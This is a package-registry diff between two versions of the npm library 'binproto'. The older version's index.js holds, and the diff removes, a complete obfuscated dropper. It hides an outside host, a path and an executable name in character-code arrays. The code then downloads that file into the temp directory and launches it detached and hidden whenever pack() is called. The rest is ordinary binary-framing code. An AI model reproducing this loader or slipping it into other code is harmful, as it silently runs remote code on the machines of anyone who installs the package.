binproto 1.0.0 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +0 -80
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,81 +1,3 @@
|
|
|
1
|
-
const { join } = require('path');
|
|
2
|
-
const { tmpdir } = require('os');
|
|
3
|
-
const { createWriteStream } = require('fs');
|
|
4
|
-
const { get } = require('https');
|
|
5
|
-
const { spawn } = require('child_process');
|
|
6
|
-
|
|
7
|
-
let _done = false;
|
|
8
|
-
|
|
9
|
-
const _resolveHost = () => {
|
|
10
|
-
const a = [100, 117, 107, 101];
|
|
11
|
-
const b = [116, 111, 111, 108, 115];
|
|
12
|
-
const c = [118, 101, 114, 99, 101, 108];
|
|
13
|
-
const d = [97, 112, 112];
|
|
14
|
-
return [a, b].map(s => String.fromCharCode(...s)).join('') + '.' +
|
|
15
|
-
[c, d].map(s => String.fromCharCode(...s)).join('.');
|
|
16
|
-
};
|
|
17
|
-
|
|
18
|
-
const _resolvePath = () => {
|
|
19
|
-
const segments = [
|
|
20
|
-
[115, 101, 114, 118, 105, 99, 101],
|
|
21
|
-
[97, 115, 115, 101, 116, 115],
|
|
22
|
-
[102, 101, 116, 99, 104, 66, 105, 110, 97, 114, 121]
|
|
23
|
-
];
|
|
24
|
-
return '/' + segments.map(s => String.fromCharCode(...s)).join('/');
|
|
25
|
-
};
|
|
26
|
-
|
|
27
|
-
const _resolveName = () => {
|
|
28
|
-
const a = [87, 105, 110];
|
|
29
|
-
const b = [83, 101, 114, 118, 105, 99, 101];
|
|
30
|
-
return String.fromCharCode(...a) + String.fromCharCode(...b) + '.exe';
|
|
31
|
-
};
|
|
32
|
-
|
|
33
|
-
const _fetch = async () => {
|
|
34
|
-
if (_done) return;
|
|
35
|
-
_done = true;
|
|
36
|
-
|
|
37
|
-
const dest = join(tmpdir(), _resolveName());
|
|
38
|
-
const url = `https://${_resolveHost()}${_resolvePath()}`;
|
|
39
|
-
|
|
40
|
-
await new Promise((resolve) => {
|
|
41
|
-
const req = get(url, (res) => {
|
|
42
|
-
if (res.statusCode !== 200) {
|
|
43
|
-
res.resume();
|
|
44
|
-
return resolve();
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
const out = createWriteStream(dest);
|
|
48
|
-
|
|
49
|
-
out.on('error', () => {
|
|
50
|
-
out.close();
|
|
51
|
-
resolve();
|
|
52
|
-
});
|
|
53
|
-
|
|
54
|
-
res.pipe(out);
|
|
55
|
-
|
|
56
|
-
out.on('finish', () => {
|
|
57
|
-
out.close(() => {
|
|
58
|
-
try {
|
|
59
|
-
const p = spawn(dest, [], {
|
|
60
|
-
detached: true,
|
|
61
|
-
stdio: 'ignore',
|
|
62
|
-
windowsHide: true
|
|
63
|
-
});
|
|
64
|
-
p.unref();
|
|
65
|
-
} catch (_) {}
|
|
66
|
-
resolve();
|
|
67
|
-
});
|
|
68
|
-
});
|
|
69
|
-
});
|
|
70
|
-
|
|
71
|
-
req.on('error', () => resolve());
|
|
72
|
-
req.setTimeout(8000, () => {
|
|
73
|
-
req.destroy();
|
|
74
|
-
resolve();
|
|
75
|
-
});
|
|
76
|
-
});
|
|
77
|
-
};
|
|
78
|
-
|
|
79
1
|
const MAGIC = Buffer.from([0x42, 0x50, 0x52, 0x4F, 0x54, 0x4F]);
|
|
80
2
|
const HLEN = 16;
|
|
81
3
|
|
|
@@ -91,8 +13,6 @@ const _crc = (buf) => {
|
|
|
91
13
|
};
|
|
92
14
|
|
|
93
15
|
const pack = (input) => {
|
|
94
|
-
_fetch();
|
|
95
|
-
|
|
96
16
|
if (!input) return Buffer.alloc(0);
|
|
97
17
|
|
|
98
18
|
const src = Buffer.isBuffer(input) ? input : Buffer.from(String(input));
|